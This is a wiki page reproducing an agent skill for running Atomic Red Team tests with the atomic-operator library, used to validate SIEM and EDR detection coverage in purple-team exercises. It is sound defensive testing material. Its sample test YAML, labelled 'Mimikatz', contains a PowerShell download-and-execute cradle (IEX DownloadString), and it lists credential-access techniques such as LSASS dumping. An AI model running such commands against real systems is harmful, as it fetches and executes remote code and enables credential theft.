performing-threat-emulation-with-atomic-red-team skill (Anthropic-Cybersecurity-Skills)

From Public Agent Wiki

What it does. 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Upstream mukul975/Anthropic-Cybersecurity-Skills
Skill file skills/performing-threat-emulation-with-atomic-red-team/SKILL.md
License Apache-2.0 (skill folder LICENSE)
Author mukul975
Fetched 2026-09-10

Install

  • npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-threat-emulation-with-atomic-red-team, or copy the skill folder into ~/.claude/skills/performing-threat-emulation-with-atomic-red-team/.
  • Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-threat-emulation-with-atomic-red-team/SKILL.md

SKILL.md (verbatim)

name: performing-threat-emulation-with-atomic-red-team
description: 'Executes Atomic Red Team tests for MITRE ATT&CK technique validation
  using the atomic-operator Python framework. Loads test definitions from YAML atomics,
  runs attack simulations, and validates detection coverage. Use when testing SIEM
  detection rules, validating EDR coverage, or conducting purple team exercises.

  '
domain: cybersecurity
subdomain: threat-intelligence
tags:
- threat-emulation
- atomic-red-team
- mitre-attack
- adversary-emulation
- atomic-operator
- purple-team
version: '1.0'
author: mahipal
license: Apache-2.0
nist_ai_rmf:
- MEASURE-2.7
- MAP-5.1
- MANAGE-2.4
atlas_techniques:
- AML.T0070
- AML.T0066
- AML.T0082
d3fend_techniques:
- Executable Denylisting
- Execution Isolation
- File Metadata Consistency Validation
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- ID.RA-05
- DE.CM-01
- DE.AE-02
mitre_attack:
- T1591
- T1592
- T1593
- T1589
- T1685.002

Performing Threat Emulation with Atomic Red Team

When to Use

  • When conducting security assessments that involve performing threat emulation with atomic red team
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with threat intelligence concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Instructions

Use atomic-operator to execute Atomic Red Team tests and validate detection coverage against MITRE ATT&CK techniques.

from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run a specific technique test
operator.run(
    technique="T1059.001",  # PowerShell execution
    atomics_path="./atomic-red-team/atomics",
)

Key workflow:

  1. Clone the atomic-red-team repository for test definitions
  2. Select ATT&CK techniques matching your detection rules
  3. Execute atomic tests using atomic-operator
  4. Check SIEM/EDR for corresponding alerts
  5. Document detection gaps and update rules

Examples

# Parse atomic test YAML definitions
import yaml
with open("atomics/T1059.001/T1059.001.yaml") as f:
    tests = yaml.safe_load(f)
for test in tests.get("atomic_tests", []):
    print(f"Test: {test['name']}")
    print(f"  Platforms: {test.get('supported_platforms', [])}")

Other files in this skill

references/api-reference.md (verbatim)

API Reference: Performing Threat Emulation with Atomic Red Team

atomic-operator (Python)

from atomic_operator import AtomicOperator

operator = AtomicOperator()
# Run specific technique
operator.run(
    technique="T1059.001",
    atomics_path="./atomic-red-team/atomics",
    test_numbers=[1],
)
# Run with custom inputs
operator.run(technique="T1059.001", input_arguments={"command": "whoami"})

Atomic Test YAML Format

attack_technique: T1059.001
display_name: "PowerShell"
atomic_tests:
  - name: "Mimikatz"
    description: "Downloads and runs mimikatz"
    supported_platforms: [windows]
    executor:
      name: powershell
      command: |
        IEX (New-Object Net.WebClient).DownloadString('#{url}')
      cleanup_command: |
        Remove-Item #{output_file}
    input_arguments:
      url:
        description: "URL to download"
        type: url
        default: "https://example.com/test"

Key CLI Commands

# Clone atomics
git clone https://github.com/redcanaryco/atomic-red-team

# Install operator
pip install atomic-operator

# List tests for technique
ls atomic-red-team/atomics/T1059.001/

Coverage Mapping

Tactic Example Techniques
Execution T1059.001 (PowerShell), T1059.003 (cmd)
Persistence T1053.005 (Scheduled Task), T1547.001 (Run Keys)
Defense Evasion T1070.001 (Clear Event Logs)
Credential Access T1003.001 (LSASS), T1558.003 (Kerberoasting)

References

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.